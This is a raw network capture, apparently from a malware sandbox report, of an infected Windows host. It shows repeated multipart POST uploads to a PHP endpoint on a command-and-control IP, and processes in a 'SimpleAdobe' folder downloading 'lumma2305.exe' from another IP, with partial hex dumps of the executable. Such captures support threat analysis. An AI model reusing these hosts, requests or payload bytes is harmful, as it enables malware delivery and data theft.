May 24, 2024 13:43:03.219469070 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=72 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:03.316041946 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFC Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:03.663382053 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=71 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:05.587771893 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:05.827464104 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=70 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:06.427318096 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBAKEGIDBGIEBFHDHJJ Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:06.649209976 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=69 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:06.902812958 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJ Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:07.209842920 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=68 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:07.560807943 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGC Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:07.788285971 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=67 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:08.027611017 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDBKKFHIEGDHJKECAAK Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:08.269324064 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=66 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:08.479367018 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKF Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:08.708726883 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=65 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:08.956460953 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIID Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:09.215564013 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=64 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:09.408492088 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDAEBGIDBGHIECBGHJD Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:09.718346119 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=63 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:09.841140032 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIJEHJDHJKECBFHDHDH Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:10.066915989 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=62 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:10.221048117 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAK Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:10.446965933 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=61 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:10.591394901 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJD Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:10.851375103 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=60 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:11.060758114 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE Host: 185.172.128.170 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:11.307394028 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=59 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:12.058815956 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHCFIDAKJEBGCAFBAE Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:12.305010080 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=58 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:12.523123980 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:12.777206898 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=57 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:13.038471937 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKJDGCGDAAAKECAKKJD Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:13.255631924 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=56 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:13.572623014 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:13.812486887 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=55 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:13.859813929 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGHCAKKFBGDHJJJKECF Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:14.084698915 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=54 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:14.127084970 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBFBFIIJDAKECAKKJEH Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:14.367369890 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=53 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:14.432591915 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFBKFHCAEHJJKEGDGH Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:14.648658991 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=52 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:14.691035986 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBA Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:14.951433897 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=51 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:15.021598101 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEH Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:15.281327009 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=50 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:15.409518957 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFI Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:15.623986959 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=49 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:15.661684036 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCFBAAAFHJDGCBFIIJ Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:15.891877890 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=48 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:15.917056084 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHCGDAFBKFIDHJJJDHC Host: 185.172.128.170 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:16.134318113 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=47 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:16.487240076 CEST	204	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAE Host: 185.172.128.170 Content-Length: 77615 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:43:17.221580982 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=46 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
May 24, 2024 13:43:17.311741114 CEST	472	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHII Host: 185.172.128.170 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 61 30 31 35 37 34 34 65 31 37 30 66 37 34 34 39 63 64 65 33 38 66 34 62 61 33 30 66 34 62 63 38 34 66 62 62 64 65 62 33 34 32 64 38 36 34 33 65 38 66 35 66 33 61 65 33 30 61 34 38 37 65 32 66 35 36 66 35 61 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 2d 2d 0d 0a Data Ascii: ------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="token"1ea015744e170f7449cde38f4ba30f4bc84fbbdeb342d8643e8f5f3ae30a487e2f56f5ad------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="message"jbdtaijovg------DHDAKFCGIJKJKFHIDHII--
May 24, 2024 13:43:17.521795988 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=45 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49830	5.42.65.116	80	3512	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:34.270543098 CEST	219	OUT	HEAD /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 13:42:34.903563976 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 11:42:34 GMT Server: Python/3.12 aiohttp/3.9.5
May 24, 2024 13:42:34.909359932 CEST	218	OUT	GET /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 13:42:35.144011021 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 11:42:35 GMT Server: Python/3.12 aiohttp/3.9.5 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 49 8c 7f 2f 0d ed 11 7c 0d ed 11 7c 0d ed 11 7c de 9f 12 7d 01 ed 11 7c de 9f 14 7d aa ed 11 7c de 9f 15 7d 18 ed 11 7c de 9f 10 7d 0e ed 11 7c 0d ed 10 7c 56 ed 11 7c cf 6c 15 7d 1f ed 11 7c cf 6c 12 7d 19 ed 11 7c cf 6c 14 7d 40 ed 11 7c fe 6f 14 7d 0c ed 11 7c fe 6f 13 7d 0c ed 11 7c 52 69 63 68 0d ed 11 7c 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 11 79 4f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 a8 01 00 00 88 05 00 00 00 00 00 cb 46 00 00 00 10 00 00 00 d0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$I/\|\|\|}\|}\|}\|}\|\|V\|l}\|l}\|l}@\|o}\|o}\|Rich\|PELyOf'F@p@DY(P?>@@.text$ `.bss `.rdatax@@.datadp>@.relocP@B [TRUNCATED]
May 24, 2024 13:42:35.144098997 CEST	1236	IN	Data Raw: 56 8b cf c7 05 e8 3d 47 00 84 df 41 00 e8 0b 1b 00 00 68 de b2 41 00 e8 f2 39 00 00 59 5f 5e c3 b9 91 3d 47 00 e9 ee 12 00 00 b9 90 3d 47 00 e8 52 29 00 00 68 e8 b2 41 00 e8 d0 39 00 00 59 c3 b9 58 3e 47 00 e8 3c 29 00 00 68 f2 b2 41 00 e8 ba 39 Data Ascii: V=GAhA9Y_^=G=GR)hA9YX>G<)hA9YhA9YhA9Y?G)hA9YhA9Yj RA6]3EuB~YM@t D$;\|;v;\|;v+WfEEuE
May 24, 2024 13:42:35.144153118 CEST	1236	IN	Data Raw: 59 80 7e 0d 00 74 de 5f 5e c2 08 00 56 8b 74 24 0c 8d 4e 14 e8 c4 06 00 00 6a 2c 56 e8 d7 31 00 00 59 59 5e c3 51 53 8b d9 ba ff ff ff 7f 8b 4c 24 0c 8b c2 55 8b 6b 10 2b c5 3b c1 72 70 8b 43 14 56 57 52 8d 3c 29 89 44 24 1c 50 57 e8 d9 04 00 00 Data Ascii: Y~t_^Vt$Nj,V1YY^QSL$Uk+;rpCVWR<)D$PWNQ{\|$L$D$st$$t$$Uv3VPGPV9YYSPD$_^][YPVt$W\|$WVt$+t$_^VWt$3ff
May 24, 2024 13:42:35.144187927 CEST	1236	IN	Data Raw: 2d 00 00 59 59 8b c6 5e c2 04 00 56 8b f1 8d 46 04 c7 06 c8 d1 41 00 50 e8 25 3e 00 00 f6 44 24 0c 01 59 74 0a 6a 0c 56 e8 f7 2c 00 00 59 59 8b c6 5e c2 04 00 8b 44 24 08 8b 4c 24 04 83 00 23 8b 01 8b 50 fc 2b c2 83 c0 fc 83 f8 1f 77 03 89 11 c3 Data Ascii: -YY^VFAP%>D$YtjV,YY^D$L$#P+wtUMV;MwuE+;w2;BE^]Q?+V+;w;D$BD$^V>tF+P6.YYL$D$FD$F^U/
May 24, 2024 13:42:35.144220114 CEST	1236	IN	Data Raw: 11 8d 42 01 89 01 88 1a eb 08 8b 01 56 ff 50 0c 8b f0 8b c6 5e 5b c2 04 00 83 79 04 00 b8 d0 d1 41 00 0f 45 41 04 c3 83 61 04 00 8b c1 83 61 08 00 c7 41 04 34 d3 41 00 c7 01 e8 d1 41 00 c3 55 8b ec 56 ff 75 08 8b f1 e8 8b f8 ff ff c7 06 54 d3 41 Data Ascii: BVP^[yAEAaaA4AAUVuTA^]UQVuuTA^UVuQHA^]UQVuu[(A^UVFAP8EYtjVy'YY^]UMuih
May 24, 2024 13:42:35.144253016 CEST	1236	IN	Data Raw: 54 08 3c 8b c7 5f 5e c3 6a 04 b8 a2 b0 41 00 e8 a7 23 00 00 8b f1 89 75 f0 33 db 53 e8 42 16 00 00 89 5d fc 89 5e 04 88 5e 08 89 5e 0c 88 5e 10 33 c0 89 5e 14 66 89 46 18 89 5e 1c 66 89 46 20 89 5e 24 88 5e 28 89 5e 2c 88 5e 30 c6 45 fc 06 39 45 Data Ascii: T<_^jA#u3SB]^^^^3^fF^fF ^$^(^,^0E9EtuVYY1#hAUVuA^]aaAAA3$AAAAAAAA A$A(A,A0UESVWx{p@A
May 24, 2024 13:42:35.144288063 CEST	931	IN	Data Raw: 00 00 50 56 a1 00 2f 47 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 83 65 fc 00 56 c7 06 24 df 41 00 e8 66 18 00 00 f6 45 08 01 59 74 0a 6a 38 56 e8 72 1e 00 00 59 59 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e c9 c2 04 00 cc cc cc cc cc 55 8b ec Data Ascii: PV/G3PEdeV$AfEYtj8VrYYMdY^UMvB=>Bt9S]VuCW}FG;v;wQVPW_^[]ItAuAAAQvRPPQAH#U(/G3ES
May 24, 2024 13:42:35.144321918 CEST	1236	IN	Data Raw: f6 89 32 89 30 89 77 04 89 33 5f 89 31 5e 5b c3 6a 00 b8 36 b0 41 00 e8 28 1b 00 00 8b f1 33 db c7 46 14 01 02 00 00 53 53 89 5e 30 89 5e 08 89 5e 10 c7 46 18 06 00 00 00 89 5e 1c 89 5e 20 89 5e 24 89 5e 28 89 5e 2c e8 50 f0 ff ff 6a 08 e8 81 1a Data Ascii: 20w3_1^[j6A(3FSS^0^^F^^ ^$^(^,PjYtj]jYG~0UVW}%tf8~83_^]yLtqLrdYUE9EtQvPuRQ]AQvPRPQ
May 24, 2024 13:42:35.144357920 CEST	1236	IN	Data Raw: 85 c9 74 29 8b 46 0c 39 08 73 22 83 fb ff 74 08 0f b6 41 ff 3b c3 75 15 8b 46 2c ff 00 8b 46 1c ff 08 8d 43 01 f7 d8 1b c0 23 c3 eb 40 83 7e 4c 00 74 37 83 fb ff 74 32 83 7e 38 00 75 17 ff 76 4c 0f b6 cb 51 e8 89 74 00 00 59 59 83 f8 ff 74 04 8b Data Ascii: t)F9s"tA;uF,FC#@~Lt7t2~8uvLQtYYtFN<9t^[]UQSW_;_s$VsVSWw^v?EDuuj_[UQQSVWWG<9u}u8uu]]uLt
May 24, 2024 13:42:35.144391060 CEST	1236	IN	Data Raw: ff 3b d8 74 14 8b 07 53 8b 70 10 8b ce ff 15 40 d1 41 00 8b cf ff d6 8b c3 5e 5b 5f c3 83 c8 ff c3 6a 08 b8 d2 b1 41 00 e8 6f 11 00 00 ff 71 30 8d 4d ec e8 7d ee ff ff 83 65 fc 00 8d 45 ec 50 e8 9b eb ff ff 8b f8 59 ff 75 08 8b 0f 8b 71 20 8b ce Data Ascii: ;tSp@A^[_jAoq0M}eEPYuq @AMUQESW}\|u33{8tPWuCVt;C,Et/;r}PQuME+EC,)CEE
May 24, 2024 13:42:35.148808002 CEST	1100	IN	Data Raw: 04 01 00 00 00 c7 06 f4 e0 41 00 89 56 08 89 56 0c 89 56 10 88 46 14 89 11 88 51 04 e8 8a 00 00 00 8b c6 5e c9 c2 04 00 56 57 8b 79 04 8b 07 8b 70 08 8b ce ff 15 40 d1 41 00 8b cf ff d6 8b f8 85 ff 74 12 8b 0f 6a 01 8b 31 8b ce ff 15 40 d1 41 00 Data Ascii: AVVVFQ^VWyp@Atj1@A_^VD?GjVYY5D?Gu^VVAQ~YtvkYfA^USW}9;t>;t3jY#t*?VtF>u+FVkYtVWP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49831	5.42.65.116	80	3912	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:34.778614998 CEST	219	OUT	HEAD /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 13:42:35.467175007 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 11:42:35 GMT Server: Python/3.12 aiohttp/3.9.5
May 24, 2024 13:42:35.468005896 CEST	218	OUT	GET /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 13:42:35.674020052 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 11:42:35 GMT Server: Python/3.12 aiohttp/3.9.5 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 49 8c 7f 2f 0d ed 11 7c 0d ed 11 7c 0d ed 11 7c de 9f 12 7d 01 ed 11 7c de 9f 14 7d aa ed 11 7c de 9f 15 7d 18 ed 11 7c de 9f 10 7d 0e ed 11 7c 0d ed 10 7c 56 ed 11 7c cf 6c 15 7d 1f ed 11 7c cf 6c 12 7d 19 ed 11 7c cf 6c 14 7d 40 ed 11 7c fe 6f 14 7d 0c ed 11 7c fe 6f 13 7d 0c ed 11 7c 52 69 63 68 0d ed 11 7c 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 11 79 4f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 a8 01 00 00 88 05 00 00 00 00 00 cb 46 00 00 00 10 00 00 00 d0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$I/\|\|\|}\|}\|}\|}\|\|V\|l}\|l}\|l}@\|o}\|o}\|Rich\|PELyOf'F@p@DY(P?>@@.text$ `.bss `.rdatax@@.datadp>@.relocP@B [TRUNCATED]
